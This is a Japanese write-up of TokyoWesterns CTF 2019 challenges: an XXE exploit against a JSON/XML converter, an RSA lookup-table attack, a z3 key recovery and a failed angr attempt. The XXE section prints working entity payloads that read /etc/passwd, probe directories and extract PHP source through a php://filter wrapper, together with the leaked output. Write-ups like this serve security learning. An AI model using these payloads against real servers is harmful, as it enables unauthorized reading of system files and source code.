Edited at

TokyoWesterns CTF 5th 2019 Writeup

チームnicklegrで個人参加。

217点で180位(1005チーム中)でした。

image.png


Welcome!!


フラグは TWCTF{Welcome_to_TWCTF_2019!!!} です。


TWCTF{Welcome_to_TWCTF_2019!!!}


j2x2j

JSON <-> XMLの相互変換をするWebサイト。

DB使ってなさそうだし、サーバのローカルファイル読めないかな。

<xi:include href="index.php" parse="text"/>

を投げると

"xi:include": {

"@attributes": {
"href": "index.php",
"parse": "text"
}
}

と返ってきた。includeはできなかったけど、@attributesが気になる。

ググると

https://www.ibm.com/developerworks/jp/xml/library/x-xml2jsonphp/index.html

https://gist.github.com/larscwallin/1375791/27987254ca81536ab8aaea77e74806ed6597092e

SimpleXMLというライブラリを使うとこうなるらしい。

SimpleXML Vulnerableでググると

https://github.com/ngallagher/simplexml/issues/18

よさげ。

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE user [<!ENTITY internal SYSTEM 'file:///etc/passwd'>]>
<example index="123">
<!-- SimpleXML didn't forbid external entity in xml elements-->
<text>Example message:&internal;</text>
</example>

{

"@attributes": {
"index": "123"
},
"comment": {},
"text": "Example message:root:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/var\/run\/ircd:\/usr\/sbin\/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):\/var\/lib\/gnats:\/usr\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin\nsystemd-network:x:100:102:systemd Network Management,,,:\/run\/systemd\/netif:\/usr\/sbin\/nologin\nsystemd-resolve:x:101:103:systemd Resolver,,,:\/run\/systemd\/resolve:\/usr\/sbin\/nologin\nsyslog:x:102:106::\/home\/syslog:\/usr\/sbin\/nologin\nmessagebus:x:103:107::\/nonexistent:\/usr\/sbin\/nologin\n_apt:x:104:65534::\/nonexistent:\/usr\/sbin\/nologin\nlxd:x:105:65534::\/var\/lib\/lxd\/:\/bin\/false\nuuidd:x:106:110::\/run\/uuidd:\/usr\/sbin\/nologin\ndnsmasq:x:107:65534:dnsmasq,,,:\/var\/lib\/misc:\/usr\/sbin\/nologin\nlandscape:x:108:112::\/var\/lib\/landscape:\/usr\/sbin\/nologin\nsshd:x:109:65534::\/run\/sshd:\/usr\/sbin\/nologin\npollinate:x:110:1::\/var\/cache\/pollinate:\/bin\/false\n_chrony:x:111:115:Chrony daemon,,,:\/var\/lib\/chrony:\/usr\/sbin\/nologin\nubuntu:x:1000:1000:Ubuntu:\/home\/ubuntu:\/bin\/bash\ntw:x:1001:1002::\/home\/tw:\/bin\/bash\ngoogle-fluentd:x:112:116::\/home\/google-fluentd:\/usr\/sbin\/nologin\n"
}

きたきた。

ディレクトリの存在判定にも使えるっぽい。

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE user [<!ENTITY internal SYSTEM 'file:///var/www/html/'>]>
<example index="123">
<!-- SimpleXML didn't forbid external entity in xml elements-->
<text>Example message:&internal;</text>
</example>

{

"@attributes": {
"index": "123"
},
"comment": {},
"text": "Example message:"
}

ディレクトリ・ファイルが存在しない場合はfailed to decode xmlが返ってくる。

/etc/nginx/sites-available/defaultを読むとphp使ってるのが確定。

root \/var\/www\/html;

...
# Add index.php to the list if you are using PHP
index index.html index.htm index.nginx-debian.html index.php;
...
location ~ \\.php$ {
include snippets\/fastcgi-php.conf;
fastcgi_pass unix:\/var\/run\/php\/php7.2-fpm.sock;
}

けど/var/www/html/index.phpを読んでもfailed to decode xmlになる。

しばらく悩んで、読めてるけどPHPのタグのせいでXMLの文法エラーになることに気づいた。

https://www.slideshare.net/ebihara/phpcon-2013xmlphpvuln のp.32に便利なものがあった。

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE user [<!ENTITY internal SYSTEM 'php://filter/convert.base64-encode/resource=file:///var/www/html/index.php'>]>
<example index="123">
<!-- SimpleXML didn't forbid external entity in xml elements-->
<text>Example message:&internal;</text>
</example>

{

"@attributes": {
"index": "123"
},
"comment": {},
"text": "Example message:PD9waHAKaW5jbHVkZSAnZmxhZy5waHAnOwoKJG1ldGhvZCA9ICRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddOwoKZnVuY3Rpb24gZGllNDA0KCRtc2cpIHsKICBodHRwX3Jlc3BvbnNlX2NvZGUoNDA0KTsKICBkaWUoJG1zZyk7Cn0KCmZ1bmN0aW9uIGNoZWNrX3R5cGUoJG9iaikgewogIGlmIChpc19hcnJheSgkb2JqKSkgewogICAgJGtleV9pc19zdHIgPSBmdW5jdGlvbigkb2JqKSB7CiAgICAgIGZvcmVhY2goJG9iaiBhcyAka2V5PT4kdmFsKSB7CiAgICAgICAgaWYgKGlzX2ludCgka2V5KSkKICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgfQogICAgICByZXR1cm4gdHJ1ZTsKICAgIH07CiAgICAKICAgIGlmICgka2V5X2lzX3N0cigkb2JqKSkgewogICAgICByZXR1cm4gJ29iamVjdCc7CiAgICB9CiAgICBlbHNlIHsKICAgICAgcmV0dXJuICdhcnJheSc7CiAgICB9CiAgfQogIGVsc2UgewogICAgcmV0dXJuIGdldHR5cGUoJG9iaik7CiAgfQp9CgpmdW5jdGlvbiBqc29uMnhtbCgkb2JqKSB7CiAgJHJlcyA9ICcnOwogCiAgaWYgKGlzX2FycmF5KCRvYmopKSB7CiAgICBmb3JlYWNoKCRvYmogYXMgJGtleSA9PiAkdmFsKSB7CiAgICAgIHN3aXRjaChjaGVja190eXBlKCR2YWwpKSB7CiAgICAgICAgY2FzZSAnYXJyYXknOgogICAgICAgICAgZm9yZWFjaCgkdmFsIGFzICR2KSB7CiAgICAgICAgICAgICRyZXMgLj0gIjwka2V5PiI7CiAgICAgICAgICAgICRyZXMgLj0ganNvbjJ4bWwoJHYpOwogICAgICAgICAgICAkcmVzIC49ICI8LyRrZXk+IjsKICAgICAgICAgIH0KICAgICAgICAgIGJyZWFrOwogICAgICAgIGRlZmF1bHQ6IC8vIG9iamVjdCBvciBwcmltaXRpdmUKICAgICAgICAgICRyZXMgLj0gIjwka2V5PiI7CiAgICAgICAgICAkcmVzIC49IGpzb24yeG1sKCR2YWwpOwogICAgICAgICAgJHJlcyAuPSAiPC8ka2V5PiI7CiAgICAgICAgICBicmVhazsKICAgICAgfQogICAgfQogIH0KICBlbHNlIHsKICAgICRyZXMgPSAoc3RyaW5nKSRvYmo7CiAgfQogIHJldHVybiAkcmVzOwp9CgoKaWYgKCRtZXRob2QgPT09ICdQT1NUJykgewogICRqc29uc3RyID0gJF9QT1NUWydqc29uJ107CiAgJHhtbHN0ciA9ICRfUE9TVFsneG1sJ107CgogIGlmICghKGVtcHR5KCR4bWxzdHIpIF4gZW1wdHkoJGpzb25zdHIpKSkgewogICAgZGllNDA0KCc0MDQnKTsKICB9CgogIGlmICghZW1wdHkoJGpzb25zdHIpKSB7CiAgICAkb2JqID0ganNvbl9kZWNvZGUoJGpzb25zdHIsIHRydWUpOwogICAgaWYgKGVtcHR5KCRvYmopKSB7CiAgICAgIGRpZSgnZmFpbGVkIHRvIGRlY29kZSBqc29uJyk7CiAgICB9CiAgICAkZG9jID0gbmV3IERPTURvY3VtZW50KCcxLjAnKTsKICAgICRkb2MtPmZvcm1hdE91dHB1dCA9IHRydWU7CiAgICAkX29iaiA9IGFycmF5KCk7CiAgICAkX29ialsncm9vdCddID0gJG9iajsKICAgICRkb2MtPmxvYWRYTUwoanNvbjJ4bWwoJF9vYmopKTsKICAgIGVjaG8gJGRvYy0+c2F2ZVhNTCgpOwogIH0KCiAgaWYgKCFlbXB0eSgkeG1sc3RyKSkgewogICAgbGlieG1sX2Rpc2FibGVfZW50aXR5X2xvYWRlcihmYWxzZSk7CiAgICAkb2JqID0gc2ltcGxleG1sX2xvYWRfc3RyaW5nKCR4bWxzdHIsICdTaW1wbGVYTUxFbGVtZW50JywgTElCWE1MX05PRU5UKTsKICAgIGlmIChlbXB0eSgkb2JqKSkgewogICAgICBkaWUoJ2ZhaWxlZCB0byBkZWNvZGUgeG1sJyk7CiAgICB9CiAgICBlY2hvIGpzb25fZW5jb2RlKCRvYmosIEpTT05fUFJFVFRZX1BSSU5UKTsKICB9Cn0KZWxzZSB7Cj8+CjwhZG9jdHlwZSBodG1sPgo8aHRtbD4KICA8aGVhZD4KICAgIDx0aXRsZT5KU09OIDwtPiBYTUwgQ29udmVydGVyPC90aXRsZT4KICA8L2hlYWQ+CiAgPGJvZHk+CiAgICA8dGV4dGFyZWEgaWQ9Impzb24iIG5hbWU9Impzb24iIHJvd3M9IjUwIiBjb2xzPSI4MCI+CiAgICA8L3RleHRhcmVhPgoKICAgIDxpbnB1dCB0eXBlPSJidXR0b24iIGlkPSJ4MmoiIHZhbHVlPSI8LSIvPgogICAgPGlucHV0IHR5cGU9ImJ1dHRvbiIgaWQ9ImoyeCIgdmFsdWU9Ii0+Ii8+CgogICAgPHRleHRhcmVhIGlkPSJ4bWwiIG5hbWU9InhtbCIgcm93cz0iNTAiIGNvbHM9IjgwIj4KICAgIDwvdGV4dGFyZWE+CgogICAgPHNjcmlwdAogICAgICBzcmM9Imh0dHBzOi8vY29kZS5qcXVlcnkuY29tL2pxdWVyeS0zLjIuMS5taW4uanMiCiAgICAgIGludGVncml0eT0ic2hhMjU2LWh3ZzRnc3hnRlpoT3NFRWFtZE9ZR0JmMTNGeVF1aVR3bEFRZ3hWU05ndDQ9IgogICAgICBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4KICAgIDxzY3JpcHQ+CiAgICAgICQuZ2V0KCcvc2FtcGxlLmpzb24nLCBmdW5jdGlvbihkYXRhKSB7CiAgICAgICAgJCgnI2pzb24nKS52YWwoZGF0YSk7CiAgICAgIH0sICd0ZXh0Jyk7CgogICAgICAkKCcjajJ4Jykub24oJ2NsaWNrJywgZnVuY3Rpb24oKSB7CiAgICAgICAgJC5wb3N0KCcvJywgewogICAgICAgICAganNvbjogJCgnI2pzb24nKS52YWwoKQogICAgICAgIH0sIGZ1bmN0aW9uKGRhdGEpIHsKICAgICAgICAgICQoJyN4bWwnKS52YWwoZGF0YSk7CiAgICAgICAgfSk7CiAgICAgIH0pOwoKICAgICAgJCgnI3gyaicpLm9uKCdjbGljaycsIGZ1bmN0aW9uKCkgewogICAgICAgICQucG9zdCgnLycsIHsKICAgICAgICAgIHhtbDogJCgnI3htbCcpLnZhbCgpCiAgICAgICAgfSwgZnVuY3Rpb24oZGF0YSkgewogICAgICAgICAgJCgnI2pzb24nKS52YWwoZGF0YSk7CiAgICAgICAgfSk7CiAgICAgIH0pOwogICAgPC9zY3JpcHQ+CiAgPC9ib2R5Pgo8L2h0bWw+Cjw\/cGhwCn0K"
}

base64デコードすると

<?php

include 'flag.php';
...

flag.phpを同様に読むと

<?php

$flag = 'TWCTF{t1ny_XXE_st1ll_ex1sts_everywhere}';

TWCTF{t1ny_XXE_st1ll_ex1sts_everywhere}


real-baby-rsa

flag = 'TWCTF{CENSORED}'

# Public Parameters
N = 36239973541558932215768154398027510542999295460598793991863043974317503405132258743580804101986195705838099875086956063357178601077684772324064096356684008573295186622116931603804539480260180369510754948354952843990891989516977978839158915835381010468654190434058825525303974958222956513586121683284362090515808508044283236502801777575604829177236616682941566165356433922623572630453807517714014758581695760621278985339321003215237271785789328502527807304614754314937458797885837846005142762002103727753034387997014140695908371141458803486809615038309524628617159265412467046813293232560959236865127539835290549091
e = 65537

# Encrypt the flag!
for char in flag:
print(pow(ord(char), e, N))

数学わからないマンだけど、1文字ずつ暗号化してるから全パターンのテーブル作って逆引きすればいい。

# Public Parameters

N = 36239973541558932215768154398027510542999295460598793991863043974317503405132258743580804101986195705838099875086956063357178601077684772324064096356684008573295186622116931603804539480260180369510754948354952843990891989516977978839158915835381010468654190434058825525303974958222956513586121683284362090515808508044283236502801777575604829177236616682941566165356433922623572630453807517714014758581695760621278985339321003215237271785789328502527807304614754314937458797885837846005142762002103727753034387997014140695908371141458803486809615038309524628617159265412467046813293232560959236865127539835290549091
E = 65537

tbl = {}

("!" .. "~").each do |e|
enc = e.ord.pow(E, N)
tbl[enc] = e.to_s
end

puts File.readlines("output").map{|e| tbl[e.to_i]}.join("")

TWCTF{padding_is_important}


Simple Logic

オレオレ暗号の平文・暗号文ペアをあげるから鍵を求めてね、という問題。

require 'securerandom'

require 'openssl'

ROUNDS = 765
BITS = 128
PAIRS = 6

def encrypt(msg, key)
enc = msg
mask = (1 << BITS) - 1
ROUNDS.times do
enc = (enc + key) & mask
enc = enc ^ key
end
enc
end

def decrypt(msg, key)
enc = msg
mask = (1 << BITS) - 1
ROUNDS.times do
enc = enc ^ key
enc = (enc - key) & mask
end
enc
end

fail unless BITS % 8 == 0

flag = SecureRandom.bytes(BITS / 8).unpack1('H*').to_i(16)
key = SecureRandom.bytes(BITS / 8).unpack1('H*').to_i(16)

STDERR.puts "The flag: TWCTF{%x}" % flag
STDERR.puts "Key=%x" % key
STDOUT.puts "Encrypted flag: %x" % encrypt(flag, key)
fail unless decrypt(encrypt(flag, key), key) == flag # Decryption Check

PAIRS.times do |i|
plain = SecureRandom.bytes(BITS / 8).unpack1('H*').to_i(16)
enc = encrypt(plain, key)
STDOUT.puts "Pair %d: plain=%x enc=%x" % [-~i, plain, enc]
end

Encrypted flag: 43713622de24d04b9c05395bb753d437

Pair 1: plain=29abc13947b5373b86a1dc1d423807a enc=b36b6b62a7e685bd1158744662c5d04a
Pair 2: plain=eeb83b72d3336a80a853bf9c61d6f254 enc=614d86b5b6653cdc8f33368c41e99254
Pair 3: plain=7a0e5ffc7208f978b81475201fbeb3a0 enc=292a7ff7f12b4e21db00e593246be5a0
Pair 4: plain=c464714f5cdce458f32608f8b5e2002e enc=64f930da37d494c634fa22a609342ffe
Pair 5: plain=f944aaccf6779a65e8ba74795da3c41d enc=aa3825e62d053fb0eb8e7e2621dabfe7
Pair 6: plain=552682756304d662fa18e624b09b2ac5 enc=f2ffdf4beb933681844c70190ecf60bf

加算とXORしかしてないので、何回やっても線形の演算になる。

なのでz3pyで解が出せるはず。

# coding: utf-8


from z3 import *

pairs = [
[ 0x29abc13947b5373b86a1dc1d423807a, 0xb36b6b62a7e685bd1158744662c5d04a ],
[ 0xeeb83b72d3336a80a853bf9c61d6f254, 0x614d86b5b6653cdc8f33368c41e99254 ],
[ 0x7a0e5ffc7208f978b81475201fbeb3a0, 0x292a7ff7f12b4e21db00e593246be5a0 ],
[ 0xc464714f5cdce458f32608f8b5e2002e, 0x64f930da37d494c634fa22a609342ffe ],
[ 0xf944aaccf6779a65e8ba74795da3c41d, 0xaa3825e62d053fb0eb8e7e2621dabfe7 ],
[ 0x552682756304d662fa18e624b09b2ac5, 0xf2ffdf4beb933681844c70190ecf60bf ],
]

s = Solver()

encs = [[BitVec("x[%d,%d]" % (i,j), 128) for j in range(765 + 1)] for i in range(6)]
key = BitVec("key", 128)

for i in range(6):
s.add(encs[i][0] == pairs[i][0])

for j in range(765):
s.add(encs[i][j+1] == (encs[i][j] + key) ^ key)

s.add(encs[i][765] == pairs[i][1])

r = s.check()
if r == sat:
m = s.model()
else:
print(r)
exit(1)

print(m[key].as_long())

1時間以上かかったからバグってないか心配だった。

% time python3 solver.py

62900030173734087782946667685685220617
python3 solver.py 4615.08s user 54.83s system 98% cpu 1:19:03.29 total

require 'securerandom'

require 'openssl'

ROUNDS = 765
BITS = 128
PAIRS = 6

def decrypt(msg, key)
enc = msg
mask = (1 << BITS) - 1
ROUNDS.times do
enc = enc ^ key
enc = (enc - key) & mask
end
enc
end

key = 62900030173734087782946667685685220617
enc = 0x43713622de24d04b9c05395bb753d437

puts("enc=%x plain=%x" % [enc, decrypt(enc, key)])

TWCTF{ade4850ad48b8d21fa7dae86b842466d}


Easy Crack Me

解けなかった。

angrにかけたけど解なし。コード内にstrchrがあるが、どうやらangrはstrchrを理解できないらしい。確かにSATソルバーに落とし込むの難しそう。

https://github.com/angr/angr/tree/master/angr/analyses/identifier/functions

jmpを書き換えてstrchrを使ってるあたりをスキップさせてみたが、うまくいかず。


他の方のWriteup